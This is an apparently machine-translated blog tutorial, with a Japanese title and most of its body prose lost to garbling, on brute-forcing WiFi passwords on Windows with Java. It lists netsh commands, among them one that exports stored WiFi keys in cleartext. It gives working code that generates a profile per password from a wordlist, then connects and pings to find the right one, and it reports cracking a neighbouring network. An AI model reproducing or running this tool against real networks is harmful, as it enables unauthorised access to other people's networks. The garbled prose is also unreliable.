WindowsプラットフォームでJavaコードでWIFIパスワードを暴力的に解読する方法
一、準備
まずwifiに接続できるパソコンが必要です.それから、Java環境をサポートしなければなりません.最後に、周りにワイヤレスネットワークが必要です.
OK、あまり話さないで、やめて、おじいさんはやめなければなりません.そこでネット上でwindowsの下のcmd無線ネットワークの操作に関するコマンドを見つけました.次のようになります.
// wifi
netsh wlan show networks mode=bssid
//
netsh wlan add profile filename=FILE_NAME
// wifi
netsh wlan connect name=SSID_NAME
//
netsh wlan export profile key=clear
//
netsh wlan show profile
//
netsh wlan delete profile name=FILE_NAME
//
netsh wlan show interface
//
netsh interface set interface "Interface Name" enabled
, 。 , 。 , , , 。
netsh wlan export profile key=clear
, , cmd , ,
C:\Users\Admin , wifi.xml 。 TP-LINK_5410.xml , xml , ,
SSID_NAME
SSID_NAME
ESS
auto
AUTH_TYPE
AES
false
passPhrase
false
PASSWORD
false
、 WIFI SSID_NAME wifi , AUTH_TYPE wifi , PASSWORD 。
OK, , 。 WIFI, WIFI , SSID、 、 ( , , )。 CMD , CMD 。
/**
*
*
* @param cmd CMD
* @param filePath
*/
private static List execute(String cmd, String filePath) {
Process process = null;
List result = new ArrayList();
try {
if (filePath != null) {
process = Runtime.getRuntime().exec(cmd, null, new File(filePath));
} else {
process = Runtime.getRuntime().exec(cmd);
}
BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
String line = null;
while ((line = bReader.readLine()) != null) {
result.add(line);
}
} catch (IOException e) {
e.printStackTrace();
}
return result;
}
/**
* ssid
*
* @return ssid
*/
public static List listSsid() {
List ssidList = new ArrayList();
String cmd = Command.SHOW_NETWORKS;
List result = execute(cmd, null);
if (result != null && result.size() > 0) {
// todo
}
return ssidList;
}
wifi ,
、
OK, SSID , 。
/**
*
*/
public class ProfileGenerator {
private String ssid = null;
private String passwrodPath = null;
private ExecutorService threadPool = Executors.newFixedThreadPool(4);
public ProfileGenerator(String ssid, String passwrodPath) {
this.ssid = ssid;
this.passwrodPath = passwrodPath;
}
/**
*
*/
public void genProfile() {
List passwordList = null;
int counter = 0;
outer:
while (true) {
int start = counter * Connector.BATH_SIZE;
int end = (counter + 1) * Connector.BATH_SIZE - 1;
passwordList = FileUtils.readLine(passwrodPath, start, end);
if (passwordList != null && passwordList.size() > 0) {
//
for (String password : passwordList) {
GenThread genThread = new GenThread(ssid, password);
threadPool.execute(genThread);
}
} else {
break outer;
}
counter++;
}
}
}
class GenThread implements Runnable {
private String ssid = null;
private String password = null;
GenThread(String ssid, String password) {
this.ssid = ssid;
this.password = password;
}
public void run() {
String profileContent = Profile.PROFILE.replace(Profile.WIFI_NAME, ssid);
profileContent = profileContent.replace(Profile.WIFI_PASSWORD, password);
FileUtils.writeToFile(Connector.PROFILE_TEMP_PATH + "\\" + password + ".xml", profileContent);
}
}
, => => ( , )。 。 WIFI。 , 。 , , , , 。
、
, 。
/**
* WLAN
*
* :
* ---step1
* ---step3 wifi
* ---step3 ping
*/
public synchronized boolean check(String ssid, String password) {
System.out.println("check : " + password);
try {
String profileName = password + ".xml";
if (addProfile(profileName)) {
if (connect(ssid)) {
Thread.sleep(50);
if (ping()) {
return true;
}
}
}
} catch (InterruptedException e) {
e.printStackTrace();
}
return false;
}
/**
*
*
* @param profileName
*/
private static boolean addProfile(String profileName) {
String cmd = Command.ADD_PROFILE.replace("FILE_NAME", profileName);
List result = execute(cmd, Connector.PROFILE_TEMP_PATH);
if (result != null && result.size() > 0) {
if (result.get(0).contains(" ")) {
return true;
}
}
return false;
}
/**
* wifi
*
* @param ssid
*/
private static boolean connect(String ssid) {
boolean connected = false;
String cmd = Command.CONNECT.replace("SSID_NAME", ssid);
List result = execute(cmd, null);
if (result != null && result.size() > 0) {
if (result.get(0).contains(" ")) {
connected = true;
}
}
return connected;
}
/**
* ping
*/
private static boolean ping() {
boolean pinged = false;
String cmd = "ping " + Connector.PING_DOMAIN;
List result = execute(cmd, null);
if (result != null && result.size() > 0) {
for (String item : result) {
if (item.contains(" ")) {
pinged = true;
break;
}
}
}
return pinged;
}
:
1. sleep(50)? , , ping , , ping 。 sleep。 sleep(1000) , 50 。
2. ping ? , , ‘ xx ’ 。 , ping , 。
, , , synchronized , , , , , 。
、
OK, , , 。 , , , , run 。 。
wifi。 40 , wifi 12345678。 。
, 。 。
、
, 。 , , , 。 , , 。
, , !!! 。 , 。 , , , 。